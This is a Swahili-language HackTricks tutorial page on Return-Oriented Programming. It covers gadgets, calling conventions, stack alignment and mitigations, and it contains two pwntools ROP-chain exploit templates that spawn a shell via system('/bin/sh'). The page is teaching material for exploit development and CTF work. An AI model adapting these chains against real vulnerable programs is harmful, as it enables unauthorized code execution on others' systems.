hacktricks/binary-exploitation/rop-return-oriented-programing
2024-04-09 00:24:16 +00:00
..
ret2esp-ret2reg Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/REA 2024-04-07 03:36:12 +00:00
ret2lib Translated ['binary-exploitation/rop-return-oriented-programing/ret2lib/ 2024-04-07 23:01:11 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
ret2csu.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
ret2dlresolve.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
ret2esp-ret2reg.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
ret2vdso.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00
rop-syscall-execv.md Translated ['README.md', 'binary-exploitation/common-binary-protections- 2024-04-09 00:24:16 +00:00
srop-sigreturn-oriented-programming.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:54:31 +00:00

ROP - Return Oriented Programing

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Maelezo Msingi

Return-Oriented Programming (ROP) ni mbinu ya kisasa ya udukuzi inayotumika kuzunguka hatua za usalama kama No-Execute (NX) au Data Execution Prevention (DEP). Badala ya kuingiza na kutekeleza shellcode, muhusika anatumia vipande vya nambari tayari zilizopo kwenye faili ya binary au maktaba zilizopakiwa, inayoitwa "gadgets". Kila gadget kawaida hukamilika na maagizo ya ret na hufanya operesheni ndogo, kama vile kuhamisha data kati ya rejista au kufanya operesheni za hisabati. Kwa kuunganisha vipande hivi vya gadgets pamoja, muhusika anaweza kujenga mzigo wa data kutekeleza operesheni za kupindukia, kwa ufanisi kupuuza ulinzi wa NX/DEP.

Jinsi ROP Inavyofanya Kazi

  1. Udukuzi wa Mwelekeo wa Udhibiti: Kwanza, muhusika anahitaji kuchukua mwelekeo wa udhibiti wa programu, kwa kawaida kwa kutumia kosa la kujaza kijazo kubadilisha anwani iliyohifadhiwa ya kurudi kwenye rundo.
  2. Uteuzi wa Gadgets: Muhusika kisha kwa uangalifu huchagua na kuunganisha gadgets kutekeleza hatua zinazotakiwa. Hii inaweza kuhusisha kuweka vigezo kwa wito wa kazi, kuita kazi (k.m., system("/bin/sh")), na kushughulikia usafi au operesheni zingine zinazohitajika.
  3. Utekelezaji wa Mzigo wa Data: Wakati kazi inayoweza kudhurika inaporudi, badala ya kurudi kwenye eneo halali, inaanza kutekeleza mnyororo wa gadgets.

Vyombo

Kwa kawaida, gadgets zinaweza kupatikana kwa kutumia ROPgadget, ropper au moja kwa moja kutoka kwa pwntools (ROP).

Mnyororo wa ROP kwenye Mfano wa x86

Mbinu za Kuita x86 (biti 32)

  • cdecl: Mpigaji anasafisha rundo. Vigezo vya kazi vinapigwa kwenye rundo kwa mpangilio wa kurudi nyuma (kulia-kushoto). Vigezo vinapigwa kwenye rundo kutoka kulia kwenda kushoto.
  • stdcall: Kama cdecl, lakini mpokeaji anahusika na kusafisha rundo.

Kupata Gadgets

Kwanza, hebu tuchukulie tumetambua gadgets muhimu ndani ya faili ya binary au maktaba zilizopakiwa. Gadgets tunayovutiwa nayo ni:

  • pop eax; ret: Gadget hii inapiga nje thamani ya juu ya rundo kwenye rejista ya EAX na kisha kurudi, kuruhusu kudhibiti EAX.
  • pop ebx; ret: Kama hapo juu, lakini kwa ajili ya rejista ya EBX, ikiruhusu kudhibiti EBX.
  • mov [ebx], eax; ret: Inahamisha thamani katika EAX kwenye eneo la kumbukumbu linaloelekezwa na EBX kisha kurudi. Mara nyingi huitwa gadget ya kuandika-nini-wapi.
  • Kwa kuongezea, tuna anwani ya kazi ya system() inayopatikana.

Mnyororo wa ROP

Kwa kutumia pwntools, tunajiandaa rundo kwa utekelezaji wa mnyororo wa ROP kama ifuatavyo kwa lengo la kutekeleza system('/bin/sh'), angalia jinsi mnyororo unavyoanza na:

  1. Maagizo ya ret kwa madhumuni ya upangaji (hiari)
  2. Anwani ya kazi ya system (tukidhani ASLR imelemazwa na libc inayojulikana, habari zaidi katika Ret2lib)
  3. Nafasi ya anwani ya kurudi kutoka kwa system()
  4. Anwani ya mfuatano wa "/bin/sh" (parameta kwa kazi ya system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Mnyororo wa ROP katika Mfano wa x64

Mifumo ya Kuita x64 (64-bit)

  • Hutumia System V AMD64 ABI kwenye mifumo inayofanana na Unix, ambapo vigezo vya kwanza sita vya nambari au pointa hupitishwa kwenye rejista RDI, RSI, RDX, RCX, R8, na R9. Vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye RAX.
  • Mfumo wa kuita wa Windows x64 hutumia RCX, RDX, R8, na R9 kwa vigezo vinne vya kwanza vya nambari au pointa, na vigezo vingine hupitishwa kwenye steki. Thamani ya kurudi hutiwa kwenye RAX.
  • Rejista: Rejista za 64-bit ni pamoja na RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, na R8 hadi R15.

Kupata Gadgets

Kwa madhumuni yetu, tuzingatie vifaa vitakavyoturuhusu kuweka rejista ya RDI (kupitisha herufi "/bin/sh" kama hoja kwa system()) na kisha kuita kazi ya system(). Tutadhani tumetambua vifaa vifuatavyo:

  • pop rdi; ret: Hupakua thamani ya juu ya steki kwenye RDI na kisha kurudi. Muhimu kwa kuweka hoja yetu kwa system().
  • ret: Kurudi kwa kawaida, inayofaa kwa upangilio wa steki katika hali fulani.

Na tunajua anwani ya kazi ya system().

Mnyororo wa ROP

Hapa chini ni mfano ukitumia pwntools kuweka na kutekeleza mnyororo wa ROP ukiwa na lengo la kutekeleza system('/bin/sh') kwenye x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Katika mfano huu:

  • Tunatumia kifaa cha pop rdi; ret kuweka RDI kwa anwani ya "/bin/sh".
  • Tunaruka moja kwa moja kwa system() baada ya kuweka RDI, na anwani ya system() katika mnyororo.
  • ret_gadget hutumiwa kwa upangilio ikiwa mazingira ya lengo yanahitaji, ambayo ni ya kawaida zaidi katika x64 kuhakikisha upangilio sahihi wa stak kabla ya kuita kazi.

Upangilio wa Stak

ABI ya x86-64 inahakikisha kuwa stak ina upangilio wa byte 16 wakati maagizo ya call yanatekelezwa. LIBC, kwa kuboresha utendaji, inatumia maagizo ya SSE (kama movaps) ambayo yanahitaji upangilio huu. Ikiwa stak haiko sawa (maana RSP sio maradufu ya 16), wito kwa kazi kama system utashindwa katika mnyororo wa ROP. Ili kusahihisha hili, tuongeze tu ret gadget kabla ya kuita system katika mnyororo wako wa ROP.

Tofauti Kuu kati ya x86 na x64

{% hint style="success" %} Kwa kuwa x64 inatumia rejista kwa hoja za kwanza chache, mara nyingi inahitaji vifaa vichache kuliko x86 kwa wito rahisi wa kazi, lakini kupata na kuunganisha vifaa sahihi kunaweza kuwa ngumu zaidi kutokana na idadi kubwa ya rejista na nafasi kubwa ya anwani. Idadi kubwa ya rejista na nafasi kubwa ya anwani katika usanidi wa x64 hutoa fursa na changamoto kwa maendeleo ya kutumia, haswa katika muktadha wa Return-Oriented Programming (ROP). {% endhint %}

Kinga Dhidi ya ROP

  • ASLR & PIE: Kinga hizi hufanya iwe ngumu kutumia ROP kwani anwani za vifaa hubadilika kati ya utekelezaji.
  • Stack Canaries: Katika kesi ya BOF, ni muhimu kuzidi kizuizi cha stak ili kubadilisha pointa za kurudi ili kutumia mnyororo wa ROP.
  • Ukosefu wa Vifaa: Ikiwa hakuna vifaa vya kutosha, haitawezekana kuzalisha mnyororo wa ROP.

Mbinu za msingi za ROP

Tambua kuwa ROP ni mbinu tu ya kutekeleza nambari ya kupendelea. Kulingana na ROP, mbinu nyingi za Ret2XXX ziliendelezwa:

  • Ret2lib: Tumia ROP kuita kazi za kupendelea kutoka kwa maktaba iliyopakiwa na vigezo vya kupendelea (kawaida kitu kama system('/bin/sh').

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall: Tumia ROP kuandaa wito kwa syscall, k.m. execve, na kufanya iitumie amri za kupendelea.

{% content-ref url="rop-syscall-execv.md" %} rop-syscall-execv.md {% endcontent-ref %}

  • EBP2Ret & EBP Chaining: Ya kwanza itatumia EBP badala ya EIP kudhibiti mtiririko na ya pili ni sawa na Ret2lib lakini katika kesi hii mtiririko unadhibitiwa hasa na anwani za EBP (ingawa pia ni muhimu kudhibiti EIP).

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

Mifano na Marejeo Mengine

Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks: